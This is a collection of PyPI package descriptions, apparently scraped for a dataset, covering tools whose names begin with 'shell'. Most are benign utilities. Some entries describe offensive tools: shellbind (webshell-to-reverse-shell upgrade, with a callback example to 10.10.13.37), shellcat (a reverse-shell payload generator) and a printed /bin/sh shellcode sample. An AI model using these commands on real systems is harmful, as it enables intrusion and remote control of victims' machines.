Saravanan666/pypi-org huggingface dataset:
Package: shelf-reader
Shelf ReaderShelf Reader is a tool for libraries that retrieves call numbers of items
from their barcode and determines if they are in the correct order. Because
it can search by barcode the script allows library staff to connect a
barcode reader to quickly and accurately scan their shelves for items that
are out of place.This concept is not new, it has probably been around since libraries began
to digitize their records, but I have not been able to find a free open
source implementation.Install$pipinstallshelf-readerRequires Python >= 2.7UseGet a dump of barcodes and call numbers and save them in a csv file with
barcodes in the left column and call numbers in the right.The project requires no depenencies (except nose if you want to run the tests).
Make sure that you have python installed (tested for 2.6 and 2.7).To run:$shelf-readerpath/to/filename.csvLicenseGPL 2
Package: shell
“””A better way to run shell commands in Python.”””Built because every time I go to usesubprocess, I spend more time in the
docs & futzing around than actually implementing what I’m trying to get done.Full docs are athttps://shell.readthedocs.org/en/latest/.RequirementsPython 2.6+ or Python 3.3+UsageIf you just need to quickly run a command, you can use theshellshortcut
function:>>> from shell import shell
>>> ls = shell('ls')
>>> for file in ls.output():
...     print file
'another.txt'If you need to extend the behavior, you can also use theShellobject:>>> from shell import Shell
>>> sh = Shell(has_input=True)
>>> cat = sh.run('cat -u')
>>> cat.write('Hello, world!')
>>> cat.output()
['Hello, world!']You can even chain calls if you’d like:>>> from shell import shell
>>> shell('cat -u', has_input=True).write('Hello, world!').output()
['Hello, world!']InstallationUsingpip, simply run:pip install shellLicenseNew BSD
Package: shell2http
shell2httpHTTP-server to execute shell commands. Designed for development, prototyping or remote control. Settings through two command line arguments, path and shell command. By default bind to :8080. withshell2udpit runs with minimal latency.Usageshell2http[-h][-form][-no-index][-add-exit][-output][-sse][-pPORT]["shell command"for/]/path"shell command"/path2"shell command2"...

positionalarguments:commandoptionalarguments:-h,--helpshowthishelpmessageandexit-formparsequeryintoenvironmentvars-no-indexdonotgenerateindexpage-add-exitadd/exitcommand-outputsendbackoutput-sseuseServerSentEvents-pPORT,--portPORTInstallpipinstallshell2httpExamplesWindowsstop http server withCtrl+Pause/Breakshell2http"shutdown -s -t 0"shell2http"shutdown -s -t 0"/beep"powershell -c echo`a"shell2http--port3306/beep"powershell -command [Console]::Beep(440,2000)"http://localhost:8080/form?from=10&to=100shell2http-output-form/form'echo %v_from%, %v_to%'Linuxshell2http'notify-send Hello root'shell2http-p3000'notify-send Hello root'/path'canberra-gtk-play -i desktop-login'shell2http-p3000/path'canberra-gtk-play -i desktop-login'shell2http-output/info'uname -a'shell2http-output-sse/ping'ping -c4 8.8.8.8'shell2http-add-exitpwdhttp://localhost:8080/form?from=10&to=100shell2http-output-form/form'echo $v_from, $v_to'html sufix to endpoint will change header to "text/html":# Ability to have server events and server simple html pages as clientsshell2http-output-sse/serve_files_as.html"cat LICENSE|sed 's/.*/<pre>&<\/pre>/'"Acknowledgementshttps://github.com/msoap/shell2httphttps://github.com/eshaan7/Flask-Shell2HTTP
Package: shell2udp
shell2udpUDP-server to execute shell commands. Designed for development, prototyping or remote control. Settings through two command line arguments, path and shell command. By default bind to :8080.Usageshell2udp[options]["shell command"for/]/path"shell command"/path2"shell command2"...
options:-p,--portNNNN:portforudpserver(default8080)Installpipinstallshell2udpExamplesWindowsshell2udp'shutdown -s -t 0'shell2udp'shutdown -s -t 0'/beep"powershell -c echo`a"shell2udp--port3306/beep'powershell -command [Console]::Beep(440,2000)'Dispatch[System.Net.Sockets.UdpClient]::New().Send("",0,"localhost",8080)[System.Net.Sockets.UdpClient]::New().Send([System.Text.Encoding]::UTF8.GetBytes("/beep"),5,"localhost",8080)# [System.Text.Encoding]::UTF8.GetBytes("/beep").LengthLinuxshell2udp'notify-send Hello root'shell2udp-p3000'notify-send Hello root'/path'canberra-gtk-play -i desktop-login'shell2udp-p3000/path'canberra-gtk-play -i desktop-login'Dispatchecho>/dev/udp/localhost/8080echo/path>/dev/udp/localhost/8080Acknowledgementshttps://github.com/msoap/shell2httphttps://github.com/eshaan7/Flask-Shell2HTTP
Package: shella
ShellaShella is a Python module that enables you to interact with your python script using a command line. Provided commands run asynchronously as async functions.  In addition to its asynchronous functionality, Shella also provides autocompleting, history, and argument validation features.Autocompleting enables users to save time by automatically completing commands as they type. History allows users to recall previous commands and reuse them easily. Argument validation ensures that commands are executed with the correct arguments, minimizing errors and increasing efficiency.How to tryUse Linux (Windows is currently not supported!) and runpip3installshellaHere is an example program to you startedimportshellaimportasynciocounter=0@shella.shell_cmd(["show","s"],desc="Show counter state")asyncdefshow(args):print(f"counter={counter}")@shella.shell_cmd("set",desc="Set counter state",template="%s",usage="[count]")asyncdeftest(args):iflen(args)!=2:print("Please provide a number")globalcountercounter=int(args[1])asyncdefmy_task():globalcounterwhileshella.is_running():awaitasyncio.sleep(1)counter+=1shella.set_prompt(f"demo{counter:03d}$")asyncdefmain():shella_task_=asyncio.create_task(shella.shell_task())my_task_=asyncio.create_task(my_task())shella.set_prompt(f"demo{counter:03d}$")awaitshella_task_awaitmy_task_print("Good bye!")asyncio.run(main())Declaring commandsCommands are declared using the function decorator@shella.shell_cmd(commands,..)which turns a function into a callable. The function must have one argument to which a list of the arguments are passed.commandsa string or list of at most two strings representing the command.OptionsThe following arguments can be provided to the function decorator to modify the behaviour of the command:desc: a string with a description, shown in the help listtemplatea string containing a template to match the provided arguments to, availible types are
String:%s, Integer:%d, and float:%fusage: String to provide information about the usage of the command, shown on error or arguments that do not match the templateExample@shella.shell_cmd("foo",template="%d%s")defset(argv):print(argv)#calling the command as "foo 123 bar" results in print() printing#["foo",123,"bar"]Setting the promptThe prompt can be set at any time using the prompt updates live, which means that it can be dynamically changed during the usage of the program.shella.set_prompt("shella$")
Package: shell-ai
Shell-AI: let AI write your shell commandsShell-AI (shai) is a CLI utility that brings the power of natural language understanding to your command line. Simply input what you want to do in natural language, andshaiwill suggest single-line commands that achieve your intent. Under the hood, Shell-AI leverages theLangChainfor LLM use and builds on the excellentInquirerPyfor the interactive CLI.InstallationYou can install Shell-AI directly from PyPI using pip:pipinstallshell-aiAfter installation, you can invoke the utility using theshaicommand.UsageTo use Shell-AI, open your terminal and type:shairunterraformdryrunthingyShell-AI will then suggest 3 commands to fulfill your request:terraform planterraform plan -input=falseterraform planFeaturesNatural Language Input: Describe what you want to do in plain English (or other supported languages).Command Suggestions: Get single-line command suggestions that accomplish what you asked for.Cross-Platform: Works on Linux, macOS, and Windows.Azure Compatibility: Shell-AI now supports Azure OpenAI deployments.ConfigurationEnvironment VariablesOPENAI_API_KEY: Required. Set this environment variable to your OpenAI API key. You can find it on yourOpenAI Dashboard.Optional VariablesOPENAI_MODEL: Defaults togpt-3.5-turbo. You can set it to another OpenAI model if desired.OPENAI_MAX_TOKENS: Defaults toNone. You can set the maximum number of tokens that can be generated in the chat completion.SHAI_SUGGESTION_COUNT: Defaults to 3. You can set it to specify the number of suggestions to generate.OPENAI_API_BASE: Defaults tohttps://api.openai.com/v1. You can set it to specify the proxy or service emulator.OPENAI_ORGANIZATION: OpenAI Organization IDOPENAI_PROXY: OpenAI proxyOPENAI_API_TYPE: Set to "azure" if you are using Azure deployments.AZURE_DEPLOYMENT_NAME: Your Azure deployment name (required if using Azure).AZURE_API_BASE: Your Azure API base (required if using Azure).CTX: Allow the assistant to keep the console outputs as context allowing the LLM to produce more precise outputs.IMPORTANT: the outputs will be sent to OpenAI through their API, be careful if any sensitive data. Default to false.You can also enable context mode in command line with--ctxflag:shai--ctx[request]Configuration FileAlternatively, you can store these variables in a JSON configuration file:For Linux/macOS: Create a file calledconfig.jsonunder~/.config/shell-ai/and secure it withchmod 600 ~/.config/shell-ai/config.json.For Windows: Create a file calledconfig.jsonunder%APPDATA%\shell-ai\Exampleconfig.json:{"OPENAI_API_KEY":"your_openai_api_key_here","OPENAI_MODEL":"gpt-3.5-turbo","SHAI_SUGGESTION_COUNT":"3","CTX":true}The application will read from this file if it exists, overriding any existing environment variables.Run the application after setting these configurations.ContributingThis implementation can be made much smarter! Contribute your ideas as Pull Requests and make AI Shell better for everyone.Contributions are welcome! Please read theCONTRIBUTING.mdfor guidelines.LicenseShell-AI is licensed under the MIT License. SeeLICENSEfor details.
Package: shell-args-generator
Shell Args GeneratorScript for generate code for manage commandline arguments for Java, Bash and create man pageFree software: MIT licenseDocumentation:https://shell-args-generator.readthedocs.io.FeaturesTODOCreditsThis package was created withCookiecutterand theaudreyr/cookiecutter-pypackageproject template.History0.1.0 (2018-11-27)First release on PyPI.
Package: shellbind
shellbindShellbind is a python script that allows to bind a semi- or fully-interactive shell to an existing crude webshell.Installation:pipinstallshellbindUsageusage:shellbind.py[-h]-pPARAMETERNAME[-XMETHOD]-uHOST[-v][-rMETHOD:LHOST:PORT]ShellbindisaprogrammthathelpstoupgradeasimpleGET/POSTwebshellintoasemi-orfully-interactive(reverse)shell.

options:-h,--helpshowthishelpmessageandexit-pPARAMETERNAME,--parameterPARAMETERNAMETheparametertheisusedtorunshellcommands-XMETHOD,--methodMETHODThemethod(GET/POST)thatthatisused(Default:GET)-uHOST,--hostHOSTThehostthatisattacked.Example:http://www.victim.com/vuln.php-v,--verboseVerboseOutput-rMETHOD:LHOST:PORT,--reverseMETHOD:LHOST:PORTIfsettheprogrammupgradestheconnectionfromawebshelltoafully-interactivereverseshell.Availablemethodsare:auto-Tryuntilareverseshellbindsphp-phpreverseshellpy-python3reverseshellwithsocketspy2-python2reverseshellwithsocketsnc1-netcatreverseshellwith-eflagnc2-netcatreverseshellwith-cflagbash-sh-ireverseshellperl-perlreverseshellLHOSTshouldbetheipthatthevictimcanconnecttoTheportcanbeanyunusedport

Examples:
-Semiinteractiveshell(nocd,su,etc.)shellbind.py-XPOST-pcmd-uhttp://vuln.example/shell.php
-Fullyinteractiveshellwithverboseoutputshellbind.py-pcmd-uhttp://vuln.example/shell.py-v-rauto:10.10.13.37:8080HelpIf the fully interactive reverse shell is somehow buggy try theresetcommand it should fix the issue.
Package: shellboard
Shellboard v0.4.0.1a2Cross-platform framework that facilitates the development of a graphical interface for the command shellRequirementsColoramalibrary.Installationpip install shellboardorgit clone https://github.com/Sw3aty-Acc/shellboard.gitUsageImportimport shellboardCreditsEmail -sw3atyspace@gmail.comDiscord Server -https://discord.com/invite/jchJKYqNmKYoutube -https://www.youtube.com/@sw3aty702
Package: shellbot
Fast, simple and lightweight micro bot framework for Python. It is distributed
as a single package and has very few dependencies other than thePython Standard Library. Shellbot supports
Python 3 and Python 2.7. Test coverage exceeds 90%.Channels:a single bot can access jointly group and direct channelsCommands:routing from chat box to function calls made easy, including support of file uploadsState machines:powerful and pythonic way to bring intelligence to your botStores:each bot has a dedicated data storeUtilities:convenient configuration-driven approach, chat audit, and morePlatforms:Cisco Spark, local disconnected mode for tests – looking for moreThe Batman exampleimportosimporttimefromshellbotimportEngine,Context,CommandContext.set_logger()classBatman(Command):# a command that displays static textkeyword='whoareyou'information_message=u"I'm Batman!"classBatcave(Command):# a command that reflects input from the end userkeyword='cave'information_message=u"The Batcave is silent..."defexecute(self,bot,arguments=None,**kwargs):ifarguments:bot.say(u"The Batcave echoes, '{0}'".format(arguments))else:bot.say(self.information_message)classBatsignal(Command):# a command that uploads a file/linkkeyword='signal'information_message=u"NANA NANA NANA NANA"information_file="https://upload.wikimedia.org/wikipedia/en/c/c6/Bat-signal_1989_film.jpg"defexecute(self,bot,arguments=None,**kwargs):bot.say(self.information_message,file=self.information_file)classBatsuicide(Command):# a command only for group channelskeyword='suicide'information_message=u"Go back to Hell"in_direct=Falsedefexecute(self,bot,arguments=None,**kwargs):bot.say(self.information_message)bot.dispose()engine=Engine(# use Cisco Spark and load shell commandstype='spark',commands=[Batman(),Batcave(),Batsignal(),Batsuicide()])os.environ['BOT_ON_ENTER']='You can now chat with Batman'os.environ['BOT_ON_EXIT']='Batman is now quitting the room, bye'os.environ['CHAT_ROOM_TITLE']='Chat with Batman'engine.configure()# ensure that all components are readyengine.bond(reset=True)# create a group channel for this exampleengine.run()# until Ctl-Cengine.dispose()# delete the initial group channelQuick installationTo install the shellbot package, type:$ pip install shellbotOr, if you prefer to download the full project including examples and documentation,
and install it, do the following:$ git clone https://github.com/bernard357/shellbot.git
$ cd shellbot
$ pip install -e .Where do you want to start?Documentation:Shellbot at ReadTheDocsPython package:Shellbot at PyPiSource code:Shellbot at GitHubFree software:Apache License (2.0)Creditssecuritybotfrom the Dropbox teamBottleciscosparkapiPyYAMLCookiecuttercookiecutter-pypackage
Package: shellby
Features:Simple access to local or remote (via asyncssh) shellsNeat legible output from multiple hostsSimple access to bash:importshlexfromtoolerimportToolertooler=Tooler()@tooler.commanddeffree(mount='/'):forresultintooler.bash('df -mah | grep%s'%shell_quote(mount+'$')):fs,blocks,use,available,use_pct,mnt=shlex.split(result.stdout)result.host.print('Used%s(%s) of%s[%s]'%(use,use_pct,mnt,fs))if__name__=='__main__':tooler.main()$./disk.pyfree--mount=/local$df-mah|grep'/$'local>/dev/mapper/ubuntu--vg-root102G69G28G72%/local:[✔]local:Used69G(72%)of/[/dev/mapper/ubuntu--vg-root]Subcommands made easy:fromtoolerimportToolerfromtooler.libraryimport(named,SshConfig)importdisktooler=Tooler()tooler.add_submodule('disk',disk.tooler)tooler.add_submodule('named',named.tooler)if__name__=='__main__':named.add_hosts(SshConfig().get_hosts())tooler.main(hosts=[])Library of awesome sauce:$./tool.pynamed:nginx*disk.free$snamed:nginx*freenginx1$df-mah|grep'/$'nginx2$df-mah|grep'/$'nginx3$df-mah|grep'/$'nginx3>/dev/sda159G37G22G64%/nginx3:[✔]nginx1>/dev/sda159G37G22G64%/nginx1:[✔]nginx2>/dev/sda159G37G22G64%/nginx2:[✔]nginx1:Used37G(64%)of/[/dev/sda1]nginx2:Used37G(64%)of/[/dev/sda1]nginx3:Used37G(64%)of/[/dev/sda1]Thanks required:asyncsshfor an easy to use ssh clientfabric&bakeras inspiration
Package: shell-cache
Installation$[sudo]pipinstallshell-cache$[sudo]npmi-gshell-cacheHow it works$SHELL_CACHE/<hash># ~/.cache/shell-cache/<hash> by defaultConfigoptional. environment variables:$exportSHELL_CACHE=~/.cache/shell-cache# $XDG_CACHE_HOME/shell-cache by defaultExamples$shell-cache"key""value ..."$shell-cache"key""value ..."readme42.com
Package: shellcat
ShellCatShellCat is a python tool for generating reverse shell payloads. It supports a variety of shell types, including bash, python, php, nc, and more. It also provides options for URL encoding, Base64 encoding, writing the payload to a file, and copying the payload to the clipboard.InstallationClone the repository:git clone https://github.com/seriotonctf/shellcat.gitNavigate to the shellcat directory:cd shellcatInstall the required Python packages:pip install -r requirements.txtUsagepython3 shellcat.py <shell_type> <ip> <port> [options]_____ _          _ _  _____      _   
  / ____| |        | | |/ ____|    | |  
 | (___ | |__   ___| | | |     __ _| |_ 
  \___ \| '_ \ / _ \ | | |    / _` | __|
  ____) | | | |  __/ | | |___| (_| | |_ 
 |_____/|_| |_|\___|_|_|\_____\__,_|\__| by @serioton
                                         version: 1.0.0 


usage: shellcat.py [-h] [-e] [-b] [-w FILENAME] [-c] shell_type ip port

Generate reverse shell payload

positional arguments:
  shell_type                     Type of the shell (bash, python, php, nc, ...)
  ip                             IP address of the attacker
  port                           Port to listen on

options:
  -h, --help                     show this help message and exit
  -e, --encode                   URL encode the payload
  -b, --base64                   Base64 encode the payload
  -w FILENAME, --write FILENAME  Write the payload to a file
  -c, --copy                     Copy the payload to clipboardExamplesGenerate a bash reverse shell payload:pythonshellcat.pybash10.10.10.101234Generate a python reverse shell payload, URL encode it, and copy it to the clipboard:pythonshellcat.pypython10.10.10.101234-e-cGenerate a php reverse shell payload, Base64 encode it, and write it to a file:pythonshellcat.pyphp10.10.10.101234-b-wshell.phpGenerate a nc reverse shell payload, URL encode it, Base64 encode it, write it to a file, and copy it to the clipboard:pythonshellcat.pync10.10.10.101234-e-b-wpayload.txt-c
Package: shellcheck-py
shellcheck-pyA python wrapper to provide a pip-installableshellcheckbinary.Internally this package provides a convenient way to download the pre-built
shellcheck binary for your particular platform.installationpipinstallshellcheck-pyusageAfter installation, theshellcheckbinary should be available in your
environment (orshellcheck.exeon windows).As a pre-commit hookSeepre-commitfor instructionsSample.pre-commit-config.yaml:-repo:https://github.com/shellcheck-py/shellcheck-pyrev:v0.9.0.6hooks:-id:shellcheck
Package: shellcode
shellcodeMotivationIn the course of pawning n00bs often the need arises to introspect some (generated) shellcode or check
it for sanity.This tools does exactly that.Installationpip install shellcodeUsageWith defaults (x86 in 32bit mode)echo "\x48\x83\xEC\x40\xB0\x3B\x48\x31\xD2\x48\x31\xF6\x52\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x53\x54\x5F\x0F\x05" | shellcodeOutputs:0x0:	dec	eax
0x1:	sub	esp, 0x40
0x4:	mov	al, 0x3b
0x6:	dec	eax
0x7:	xor	edx, edx
0x9:	dec	eax
0xa:	xor	esi, esi
0xc:	push	edx
0xd:	dec	eax
0xe:	mov	ebx, 0x69622f2f
0x13:	outsb	dx, byte ptr [esi]
0x14:	das	
0x15:	jae	0x7f
0x17:	push	ebx
0x18:	push	esp
0x19:	pop	edi
0x1a:	syscallFullblownUsage: shellcode [OPTIONS] COMMAND [ARGS]...

  Supported archs are (default: CS_ARCH_X86):

          - CS_ARCH_ARM

          - CS_ARCH_ARM64

          - CS_ARCH_MIPS

          - CS_ARCH_X86

          - CS_ARCH_PPC

          - CS_ARCH_SPARC

          - CS_ARCH_SYSZ

          - CS_ARCH_XCORE

          - CS_ARCH_M68K

          - CS_ARCH_TMS320C64X

          - CS_ARCH_M680X

          - CS_ARCH_EVM

          - CS_ARCH_ALL

  Supported modes are (default: CS_MODE_32):

          - CS_MODE_LITTLE_ENDIAN

          - CS_MODE_BIG_ENDIAN

          - CS_MODE_16

          - CS_MODE_32

          - CS_MODE_64

          - CS_MODE_ARM

          - CS_MODE_THUMB

          - CS_MODE_MCLASS

          - CS_MODE_MICRO

          - CS_MODE_MIPS3

          - CS_MODE_MIPS32R6

          - CS_MODE_MIPS2

          - CS_MODE_V8

          - CS_MODE_V9

          - CS_MODE_QPX

          - CS_MODE_M68K_000

          - CS_MODE_M68K_010

          - CS_MODE_M68K_020

          - CS_MODE_M68K_030

          - CS_MODE_M68K_040

          - CS_MODE_M68K_060

          - CS_MODE_MIPS32

          - CS_MODE_MIPS64

          - CS_MODE_M680X_6301

          - CS_MODE_M680X_6309

          - CS_MODE_M680X_6800

          - CS_MODE_M680X_6801

          - CS_MODE_M680X_6805

          - CS_MODE_M680X_6808

          - CS_MODE_M680X_6809

          - CS_MODE_M680X_6811

          - CS_MODE_M680X_CPU12

          - CS_MODE_M680X_HCS08

Options:
  --arch TEXT                     [default: CS_ARCH_X86]
  --mode TEXT                     [default: CS_MODE_32]
  --color / --no-color            [default: True]
  --verbose / --no-verbose        [default: False]
  --b64 / --no-b64                [default: False]
  --start INTEGER                 [default: 0]
  --install-completion [bash|zsh|fish|powershell|pwsh]
                                  Install completion for the specified shell.
  --show-completion [bash|zsh|fish|powershell|pwsh]
                                  Show completion for the specified shell, to
                                  copy it or customize the installation.

  --help                          Show this message and exit.LicenseThis project is licensed under the GPL-3 license.
Package: shell-command-logger
Shell command logger (scl)This program uses the linuxscriptandscriptreplaycommands to record and replay the output of any desired commands.DocumentationThis README just contains basic usage information.
For more please consult thedocumentation.
It is also provided in thedocsfolder and can be locally viewed by following these steps:Install development dependencies (only required once):python3-mpipinstall-rrequirements-dev.txtBuilding the documentation and starting a local webserver:mkdocsserveOpenlocalhost:8000InstallationInstall viapip:pipinstallshell-command-logger[full]UsageTo record a command, you just prefix it withscl log:scllogls-1/You can usescl replayto interactively choose and replay a file.
Withscl searchyou can search logged commands.
For more information see thedocumentationor runscl --help.Known issuesscriptdoes strange things to input (I think to\r), so you should not wrap any netcat variants (nc,ncat,netcat).Ctrl+Ckillsscl, even if the program you call would handle the key combination.
This is especially annoying with tools likemsfconsole.Notable changesVersion 0.4.1By default do not attempt to deal with "unnecessary"\radded by script ay more. It caused too many troubles. If you want/need the old behavior, set the environment variableSCL_STRIP_CRto the value1.PassSIGINTsignals (usually triggered byCtrl-C) to the process being logged instead of being interrupted -> logging things like shells should work (better)Removed aliases for problematic tools (msfconsole, nc, ncat, netcat)
Package: shell-complete
shell-complete-pypython package to generate shell-completion for your CLIWarning: This project is in the earliest phase possibleUsageEither import and use thegenerate(parser: ArgumentParser)function or directly theActionGeneratefromargparseimportArgumentParserfromshell_complete.argparseimportActionGenerate# note: currently not availableparser=ArgumentParser()...parser.add_argument('--completion',action=ActionGenerate,help="Generate a bash-completion-script")You can also execute the module itselfpython3-mshell_complete[args...]Or run the console-scriptshell-complete[args...]